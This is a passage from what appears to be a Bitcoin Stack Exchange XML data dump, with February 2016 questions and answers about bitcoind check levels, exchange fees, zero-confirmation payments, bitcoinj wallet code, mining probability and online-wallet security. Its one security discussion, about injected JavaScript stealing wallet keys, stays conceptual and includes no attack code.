CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43017" PostTypeId="2" ParentId="17365" CreationDate="2016-02-22T04:32:06.167" Score="4" Body="&lt;p&gt;The other answer seems to be out of date, even at the time it was answered. The following seems to be a more up to date explanation:&#xA;From &lt;a href=&quot;https://bitcointalk.org/index.php?topic=141200.msg1504768#msg1504768&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=141200.msg1504768#msg1504768&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0: Validate all block headers + compare (by hash) to blocks on disk for the last -checkblocks blocks&lt;/li&gt;&#xA;&lt;li&gt;1: In addition, verify (standalong) validity of those -checkblocks blocks&lt;/li&gt;&#xA;&lt;li&gt;2: In addition, verify that undo data matches checksums&lt;/li&gt;&#xA;&lt;li&gt;3: In addition, check that the current chainstate matches can reasonably be the result of the last N blocks, where N is limited by both -checkblocks and the amount of in-memory cache (-dbcache); typically it's around 150.&lt;/li&gt;&#xA;&lt;li&gt;4: In addition, for the last N blocks (see above), do full validation (including signature checks).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that the new default (3) is in fact a stronger check than the previous highest level (6).&lt;/p&gt;&#xA;" OwnerUserId="16975" LastActivityDate="2016-02-22T04:32:06.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43023" PostTypeId="2" ParentId="41402" CreationDate="2016-02-22T12:31:17.917" Score="2" Body="&lt;p&gt;&lt;strong&gt;Edit July 2018:&lt;/strong&gt; These sites, even all this thread could be outdated. My opinion some years later has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fee is the way the exchanges win money, so if you trust some exchange without fee...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The exchange is no charging fees due to an temporary offer, and this thread will be outdated very soon.&lt;/li&gt;&#xA;&lt;li&gt;The exchange will win money with other services, so on long-term you will pay, maybe for withdrawal fees or something similar&lt;/li&gt;&#xA;&lt;li&gt;Maybe because is a scam... and you won't recover your money (or partially)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The fees are relatively cheap from 0.1% (one per thousand) to 1.5% so, the best way is to know other fees like withdrawal fees (from 'free' to 1.5%). Ask yourself what is more important, warranty vs free-charge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, these exchanges are your 'middle man'. You deposit there your Bitcoin or $, then risk always exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Some outdated webs have been deleted]&lt;/p&gt;&#xA;" OwnerUserId="33249" LastEditorUserId="33249" LastEditDate="2018-07-29T17:08:38.787" LastActivityDate="2018-07-29T17:08:38.787" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="43025" PostTypeId="2" ParentId="38711" CreationDate="2016-02-22T17:36:57.307" Score="3" Body="&lt;p&gt;Blockchain is a mere chain of blocks and this respect is worse than every database on earth. What makes the &lt;strong&gt;public&lt;/strong&gt; blockchain unique is the proof-of-work that ensures that thousands of copies of the blockchain are probabilistically  identical all across the globe and with no discrete authority trusted to manage them. A private blockchain is a ledger managed by some authority, so is an abstraction which may be implemented with any db technology&lt;/p&gt;&#xA;" OwnerUserId="33258" LastEditorUserId="33258" LastEditDate="2016-02-22T18:02:19.623" LastActivityDate="2016-02-22T18:02:19.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43028" PostTypeId="1" CreationDate="2016-02-22T18:41:25.553" Score="0" ViewCount="414" Body="&lt;p&gt;I'm looking to create a web app similar to coffee.foldapp.com where they load up a bitcoin address and once you pay it will automatically show the Digital code product. They seem to be using 0-confirmation. I heard it was risky, but why are they doing it then? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to do the same approach since my digital items aren't super expensive and have the option for zero confirmation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some ways to do this? Does the client browser have to constantly ping the server to get a payment status update? Or does the server push it to the client's browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning to do this in PHP if its even possible. Or can I just do it without PHP and just tap into API's of other sites like blockchain.info?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-02-28T08:21:43.913" Title="Building a web app to collect Bitcoin payments. How should I monitor transactions on payment?" Tags="|blockchain|api|blockchain.info|payment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43030" PostTypeId="1" CreationDate="2016-02-22T19:13:03.667" Score="1" ViewCount="159" Body="&lt;p&gt;I want to prove that I control an address for asset verification. To lawyers that might not even know what a blockchain is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signing using the private key of an address does nothing for me, as it doesn't prove I control the address (I could have told someone else to sign their address). Is there a way I can leverage PGP signatures in the signing message?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2016-03-23T21:03:33.210" Title="Can I sign a message with an Open-PGP key?" Tags="|address|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43031" PostTypeId="2" ParentId="43030" CreationDate="2016-02-22T20:43:50.633" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Signing using the private key of an address does nothing for me, as it doesn't prove I control the address (I could have told someone else to sign their address).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general, OpenPGP keys and Bitcoin keys are incompatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sign a message using the private key to sign a message that says &quot;This address, and this PGP key are held by so-and-so.&quot;  It's possible to forge this by asking someone else with a lot of Bitcoin to claim that their Bitcoins are yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem that doesn't really have a good solution. You can give them the private key and ask them to derive the public key, to prove that you own that address. However, if you do that, an unethical lawyer could steal your Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-02-22T20:43:50.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43033" PostTypeId="1" CreationDate="2016-02-22T23:07:34.367" Score="1" ViewCount="89" Body="&lt;p&gt;I'm trying to analize getblocktemplate that is returned by Bitcoin Core. If I'm not wrong that data that is returned contain all required data that I need to start mining. But what about the list of transactions? Even if block is currently mining, number of transaction still grows so for that same block if I again execute getblocktemplate I will receive extended list of transaction so that should change Merkel Chain and AFAIK it's used for building new block hash. So in that case how it is possible to solve a block?&lt;/p&gt;&#xA;" OwnerUserId="33031" LastActivityDate="2016-03-24T01:09:50.660" Title="Solving block with number current number of transactions" Tags="|transactions|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43035" PostTypeId="2" ParentId="43033" CreationDate="2016-02-22T23:34:59.273" Score="3" Body="&lt;p&gt;As a miner, you get to choose which transactions you include in a block. Ideally, you would choose the set of transactions which maximises your incoming transaction fees, but you may choose any set of transactions you like (including none).&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2016-02-22T23:34:59.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43036" PostTypeId="1" CreationDate="2016-02-23T00:59:42.133" Score="3" ViewCount="549" Body="&lt;p&gt;Bitcoinj generates receiving addresses on demand and change addresses after each transaction. So how do I list all receiving addresses ? I guess I have to deal with KeyChainGroup and BasicKeyChain. I know how to get all issued receive keys&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wallet.getActiveKeyChain().getIssuedReceiveKeys();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but cannot find change keys. So where is getIssuedChangeKeys() method or if there is not such method whta is the reason. I'm trying to imagine how recovery would work if the wallet is restored from seed. &lt;/p&gt;&#xA;" OwnerUserId="29353" LastActivityDate="2016-06-22T04:49:07.377" Title="how do I get list of all &quot;used&quot; addresses in bitcoinj" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43037" PostTypeId="1" CreationDate="2016-02-23T01:07:22.267" Score="1" ViewCount="64" Body="&lt;p&gt;After brief look into bitcoinj library, I found out that wallet class keeps all transactions in one big hash map. That make me think about transaction limits of this library. How many transaction can I make with multibit wallet on computer with just 1 gig of RAM ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that there is BlockStore implementation for Postgres and other SQL servers but seems to me it's only for mem pool transactions. Wallet transaction are all in memory and saved into .wallet file. &lt;/p&gt;&#xA;" OwnerUserId="29353" LastActivityDate="2016-02-23T01:07:22.267" Title="transaction limits with bitcoinj library" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43038" PostTypeId="2" ParentId="43014" CreationDate="2016-02-23T01:28:20.363" Score="1" Body="&lt;p&gt;Use &lt;code&gt;Wallet.getTransactions(boolean)&lt;/code&gt;. This returns a &lt;code&gt;Set&amp;lt;Transaction&amp;gt;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;boolean includeDeadTransactions = true;&#xA;Set&amp;lt;Transaction&amp;gt; transactions = wallet.getTransactions(includeDeadTransactions);&#xA;&#xA;for (Transaction t : transactions) {&#xA;    //Do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27532" LastActivityDate="2016-02-23T01:28:20.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43039" PostTypeId="1" CreationDate="2016-02-23T02:06:28.080" Score="1" ViewCount="270" Body="&lt;p&gt;My question is related to &lt;code&gt;bitcoinj&lt;/code&gt; library but not limited by it. &lt;code&gt;bitcoinj&lt;/code&gt; will create new change address after every transaction. It will manage them transparently, but let say I want to use this library for merchant payment service. I don't have privacy issue, opposite to that I want to use the service as transparent as it could be. That would be one address per customer to receive money from them one load address to supply money from exchange and one change address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it in general good idea or could there be a security issue? As I said before, privacy is not issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that would be ok, what is the best way to stop &lt;code&gt;bitcoinj&lt;/code&gt; from using change addresses and use just one instead?&lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="5406" LastEditDate="2016-02-23T13:00:54.120" LastActivityDate="2016-02-23T13:00:54.120" Title="How can you make bitcoinj not use change addresses?" Tags="|bitcoinj|change|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43040" PostTypeId="2" ParentId="43036" CreationDate="2016-02-23T02:25:25.570" Score="2" Body="&lt;p&gt;This seems to get change addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public List&amp;lt;String&amp;gt; getChangeAddresses() {&#xA;    List&amp;lt;String&amp;gt; ret = new ArrayList&amp;lt;&amp;gt;();&#xA;    int issuedKeys = wallet.getActiveKeyChain().getIssuedInternalKeys();&#xA;&#xA;    for (int i = 0; i &amp;lt; issuedKeys; i++) {&#xA;        ChildNumber childNumber = new ChildNumber(i, false);&#xA;        List&amp;lt;ChildNumber&amp;gt; childNumbers = new ArrayList&amp;lt;&amp;gt;();&#xA;        childNumbers.add(ChildNumber.ZERO_HARDENED);&#xA;        childNumbers.add(ChildNumber.ONE);&#xA;        childNumbers.add(childNumber);&#xA;        ECKey key = wallet.getKeyByPath(childNumbers);&#xA;        ret.add(new Address(params, key.getPubKeyHash()).toBase58());&#xA;    }&#xA;    return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29353" LastActivityDate="2016-02-23T02:25:25.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43041" PostTypeId="1" CreationDate="2016-02-23T05:34:13.503" Score="2" ViewCount="840" Body="&lt;p&gt;&lt;a href=&quot;https://islam.stackexchange.com/a/12320/940&quot;&gt;This&lt;/a&gt; answer says that Bitcoin is not chance based, may I know how it is deterministic and does not have any associated probability of mining a coin?&lt;/p&gt;&#xA;" OwnerUserId="4018" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:13.200" LastActivityDate="2018-02-16T01:38:33.633" Title="Is Bitcoin mining chance based?" Tags="|cryptography|mining-theory|random|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43043" PostTypeId="2" ParentId="43028" CreationDate="2016-02-23T10:39:33.557" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm looking to create a web app similar to coffee.foldapp.com where they load up a bitcoin address and once you pay it will automatically show the Digital code product. They seem to be using 0-confirmation. I heard it was risky, but why are they doing it then?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is risky since you accept the transaction without it being in the blockchain. See the accepted answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32335/whats-the-easiest-way-to-someone-to-double-spend-0-confirmation-transactions&quot;&gt;this&lt;/a&gt; question for a double spend example: as mentioned in the comments it is still difficult to work. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24936/how-to-minimize-risk-when-accepting-zero-confirmation-payments&quot;&gt;This&lt;/a&gt; question is related. Merchants are doing it because they are willing to accept the risk for small value transactions. You will hear several percentages on the risk factor but it is generally low. Some examples &lt;a href=&quot;https://blog.blockcypher.com/yes-someone-double-spent-bitcoin-no-zero-confirmation-payments-are-not-dead-944d021b865e&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3ddkhy/bitcoindev_significant_losses_by_doublespending/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd like to do the same approach since my digital items aren't super expensive and have the option for zero confirmation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Super expensive&lt;/em&gt; is relative. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are some ways to do this? Does the client browser have to constantly ping the server to get a payment status update? Or does the server push it to the client's browser?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The server &lt;a href=&quot;https://en.wikipedia.org/wiki/Push_technology&quot; rel=&quot;nofollow noreferrer&quot;&gt;pushing&lt;/a&gt; to the client is the way to go from an engineering perspective.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm planning to do this in PHP if its even possible. Or can I just do it without PHP and just tap into API's of other sites like blockchain.info?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even if you don't use your own node (or other people nodes) directly and want to use the API of a site you will still need to program it in some language. For example, the blockchain.info site has an &lt;a href=&quot;https://blockchain.info/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;API&lt;/a&gt; library for PHP.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-02-23T10:39:33.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43044" PostTypeId="2" ParentId="43041" CreationDate="2016-02-23T11:17:49.613" Score="0" Body="&lt;p&gt;The number of attempts to close a block is probabilistically determined by the law of large numbers. In other words, it is theoretically possible for you to generate at your first try an hashing that meets the target even using your paper and pencil but the probability is very low. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As analogy, if you bet on zero playing at roulette you have &lt;strong&gt;1/36&lt;/strong&gt; of chance per try. It turns out that you can win at your first try or most likely you don't. If you repeat the try &lt;strong&gt;N&lt;/strong&gt; times (say 1000 times), you will observe that you will win a number &lt;strong&gt;K&lt;/strong&gt; of bets, where &lt;strong&gt;K/N&lt;/strong&gt; is a random variable that has an expected value of &lt;strong&gt;1/36&lt;/strong&gt;. That &lt;strong&gt;does NOT mean that your K/N is equal to 1/36&lt;/strong&gt;, it means that if you repeat the &lt;strong&gt;N&lt;/strong&gt; sequence again and again you will observe &lt;strong&gt;K/N&lt;/strong&gt; average value will be close to &lt;strong&gt;1/36&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same way, mining a block is like betting on zero on a roulette with many many more numbers (your odds being much much lower) and according to the number of attempts you can do (say per hour) it is probabilistically defined how many blocks you will be likely to close in the same period.  &lt;/p&gt;&#xA;" OwnerUserId="33258" LastEditorUserId="33258" LastEditDate="2016-02-24T10:35:44.330" LastActivityDate="2016-02-24T10:35:44.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43045" PostTypeId="2" ParentId="43041" CreationDate="2016-02-23T11:19:46.320" Score="1" Body="&lt;p&gt;To sum up the mining process: miners have a &lt;em&gt;potential&lt;/em&gt; future block and they need to solve a problem based on that block to prove that they worked on it (Proof of Work). They apply a &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;hash function&lt;/a&gt; to the block and get back a hash. The hash needs to have some properties, e.g. start with 3 zeros. If it doesn't, the miners change a value in the block (called nonce) and apply the hash function again. The new hash will be different. If it still doesn't start with 3 zeros miners repeat the process until they find a hash that starts with 3 zeros. For more details, please read &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; to understand the mining process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hash function is in itself deterministic. However, the mining process is not. Thus, the answer in the link you provided is wrong. If everyone was trying to mine identical blocks with identical nonces of the same exact order then it might be, in a sense, deterministic but that is not the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone has a chance to win (although it is so small that in practice doesn't occur). See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14346/what-are-the-odds-of-discovering-a-block-as-a-solo-miner&quot;&gt;here&lt;/a&gt; for some examples.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-02-23T11:19:46.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43046" PostTypeId="1" CreationDate="2016-02-23T12:03:33.413" Score="1" ViewCount="255" Body="&lt;p&gt;Could a world economy be based solely on Bitcoin? I mean the only mean to pay would be bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the point of view of economy would this be possible or would all the economy collapse?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could we live only on Bitcoin, to make payments to work and so on, while this currency is so volatile?&lt;/p&gt;&#xA;" OwnerUserId="33280" LastEditorUserId="5406" LastEditDate="2016-02-23T12:50:02.583" LastActivityDate="2016-02-25T02:47:19.193" Title="What would happen to the world if Bitcoin were the only allowed currency?" Tags="|economic-theory|money-supply|scalability|adoption|price-volatility|" AnswerCount="1" CommentCount="1" ClosedDate="2016-02-29T23:20:41.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="43047" PostTypeId="2" ParentId="28228" CreationDate="2016-02-23T14:56:32.773" Score="1" Body="&lt;p&gt;Supercomputers are programmable to do anything. ASICs are built from scratch to calculate hash functions only. It is like comparing a human body, that can be trained to demolish a wall using karate, with a wrecking ball.&lt;/p&gt;&#xA;" OwnerUserId="33258" LastActivityDate="2016-02-23T14:56:32.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43048" PostTypeId="1" CreationDate="2016-02-23T17:48:47.030" Score="7" ViewCount="11651" Body="&lt;p&gt;I´m beginner and I understood there is an unique huge common block chain to be used by world wide and there a several different crypto currencies types by  running on that . Am I correct?  Thank you to all&lt;/p&gt;&#xA;" OwnerUserId="33291" LastActivityDate="2017-12-23T15:02:57.677" Title="How many block chains exist?" Tags="|block|private-blockchains|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43049" PostTypeId="2" ParentId="43048" CreationDate="2016-02-23T20:34:47.840" Score="3" Body="&lt;p&gt;There are thousands of identical copies of the Bitcoin blockchain which is kept in sync worldwide thanks to its protocols. You can consider that like a single-instance super-redundant data structure. It store all the Bitcoin transactions. Then, based on the same idea, many project launched similar blockchains (sync-ed in a much smaller number of nodes though) that we can call AltCoins (alternative coins). Last, but not least, you can use the Bitcoin blockchain to define your own currency without the hassles of launching a new blockchain (and a new community). This last option is so called Coloured Coins. I suggest to Google the term.&lt;/p&gt;&#xA;" OwnerUserId="33258" LastActivityDate="2016-02-23T20:34:47.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43051" PostTypeId="1" CreationDate="2016-02-24T02:02:36.437" Score="0" ViewCount="148" Body="&lt;p&gt;I just updated my node to the lastest version 0.12, it launched and synced up fine.  Afterwards I closed the core GUI and launched bitcoind through the command line &lt;code&gt;bitcoind -server&lt;/code&gt; and it returned with &quot;Access is denied&quot; and the bitcoind program was deleted from bitcoin/daemon dir. &#xA;I check the error log and it shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor: thread interrupt&#xA;opencon thread intrrupt&#xA;scheduler thread interrupt&#xA;torcontrol thread exit&#xA;addcon thread interrupt&#xA;msghand thread interrupt&#xA;net thread interrupt&#xA;Shutdown: In progress...&#xA;StopNode()&#xA;Shutdown: done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not running Tor. Any ideas what change could have prompted this new error from the update?&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-02-24T09:42:59.020" Title="bitcoind removed from version 0.12?" Tags="|bitcoind|bitcoin-core|nodes|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43055" PostTypeId="1" CreationDate="2016-02-24T16:13:57.683" Score="1" ViewCount="71" Body="&lt;p&gt;Is there some kind of check if incoming transaction is normally spendable by the bitcoinj wallet? I mean to check if there is no time lock and it's not multisig or whatever can prevent receiver from spending such transaction ? I'm interested in solution within bitcoinj library, online tool might be usefull too. &lt;/p&gt;&#xA;" OwnerUserId="29353" LastActivityDate="2016-02-24T16:13:57.683" Title="check if transaction is spendable in bitcoinj" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43056" PostTypeId="1" AcceptedAnswerId="43060" CreationDate="2016-02-24T19:45:47.077" Score="5" ViewCount="1551" Body="&lt;p&gt;Blockchain.info &lt;a href=&quot;https://blockchain.info/wallet/how-it-works&quot; rel=&quot;noreferrer&quot;&gt;claims&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We cannot (and don't want to):&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;View your balance&lt;/li&gt;&#xA;  &lt;li&gt;View your address book&lt;/li&gt;&#xA;  &lt;li&gt;Make transactions on your behalf&lt;/li&gt;&#xA;  &lt;li&gt;Confiscate your wallet&lt;/li&gt;&#xA;  &lt;li&gt;Lock you into our service.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They do this by only storing the &lt;em&gt;encrypted&lt;/em&gt; wallet file containing the private keys, and letting the web client do the decryption and signing using the private keys without ever communicating them using the server. This means it is indeed true that the blockchain.info can't make transactions on your behalf. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to think this also meant that, if a hacker broke into their servers, they would not be able to steal everybody's bitcoins, because the private keys are not stored there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now I'm not so sure. Couldn't the hacker simply change the server code to send javascript to the web client which, when executes, decrypts those private keys and sends them back to the (now-hacked) server? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would take longer, as everyone would have to sign in to be compromised... but they'd still be able to steal a bunch of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something or is this indeed the current state of affairs with blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note this is not meant to be a dig at this particular website; it's really more of a security question in general.)&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2017-06-06T17:23:39.767" Title="Can a clever hacker still steal everyone's money from the blockchain.info wallet?" Tags="|wallet|security|blockchain.info|hacking|wallet-security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43057" PostTypeId="2" ParentId="43046" CreationDate="2016-02-25T02:47:19.193" Score="0" Body="&lt;p&gt;It's possible, but with the current block size and lack of lightning network or side chains, no. Most likely people would do what they've done throughout history and use other forms of currency for daily use.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-02-25T02:47:19.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43059" PostTypeId="2" ParentId="18696" CreationDate="2016-02-25T03:39:45.277" Score="1" Body="&lt;p&gt;You can see current fees only after registration on the btc-e. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow to &quot;Finances&quot;, click &quot;Withdraw&quot; in the Bitcoin line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or login and follow the link:&#xA;&lt;a href=&quot;https://btc-e.com/profile#funds/withdraw_coin/1&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/profile#funds/withdraw_coin/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Min amount for withdrawal - 0.002 BTC.&lt;/li&gt;&#xA;  &lt;li&gt;Be patient, transfer of funds will be before the first confirmation.&lt;/li&gt;&#xA;  &lt;li&gt;Fee for withdrawal is 0.001 BTC.&lt;/li&gt;&#xA;  &lt;li&gt;Daily limit on withdrawal - 100 BTC.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ways and fees to withdraw and to deposit are often subject to change on btc-e, thought for a long while (longer than 2 years) the Bitcoin withdraw fee is stay the same: &lt;strong&gt;0.001 BTC&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When btc-e change rates, add new withdraw or deposit method - they usually tweet about it. &#xA;&lt;a href=&quot;https://twitter.com/btcecom&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/btcecom&lt;/a&gt;&#xA;Sometimes they also can add a piece of &quot;news&quot; when a fee is changed: &lt;a href=&quot;https://btc-e.com/news&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/news&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31566" LastEditorUserId="31566" LastEditDate="2016-02-25T03:54:25.170" LastActivityDate="2016-02-25T03:54:25.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43060" PostTypeId="2" ParentId="43056" CreationDate="2016-02-25T06:11:21.663" Score="4" Body="&lt;p&gt;Yes, the attack you describe is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this isn't specific to blockchain.info nor to online wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If an attacker manages to run code on your machine, you're pwned.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as an attacker manages to inject code which deals with the private keys in their unencrypted form, the attacker can make it send the keys back to her.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way an attacker can do this is, as you describe, by compromising online-wallet's website and inject malicious javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to compromise the binary of a bitcoin client (client-stored wallet) you install on your local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;extra safety&quot; blockchain.info claims to provide is that simply getting hold of the &lt;em&gt;keys database&lt;/em&gt; isn't enough for an attacker to steal your money.&lt;/p&gt;&#xA;" OwnerUserId="15073" LastEditorUserId="6256" LastEditDate="2016-03-11T17:00:25.900" LastActivityDate="2016-03-11T17:00:25.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43061" PostTypeId="2" ParentId="43048" CreationDate="2016-02-25T09:38:23.970" Score="5" Body="&lt;p&gt;@Davide's answer is correct but I expand the explanation a bit particularly regarding the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I´m beginner and I understood there is an unique huge common block chain to be used by world wide&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A crypto-currency like bitcoin requires people to run the bitcoin software that makes the whole system work; it is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Peer-to-peer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peer-to-Peer&lt;/a&gt; (P2P) network and each machine running the software is called a &lt;em&gt;node&lt;/em&gt;.** The primary incentive for people to run nodes is that they are getting rewarded with bitcoins via a process called mining explained &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blockchain (aka ledger) is a data structure (think of it as a file in your computer) that stores a history of all the transactions (actually groupings of transactions, called blocks, i.e. forming a chain of blocks) that took place in the network. Currently, it is around 65 GBs big and it is getting bigger with time as new blocks (of transactions) are added. Each node has a copy of the blockchain which is the same in all nodes via a consensus process enforced by computer algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, in bitcoin, there is one common blockchain with copies in each node.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  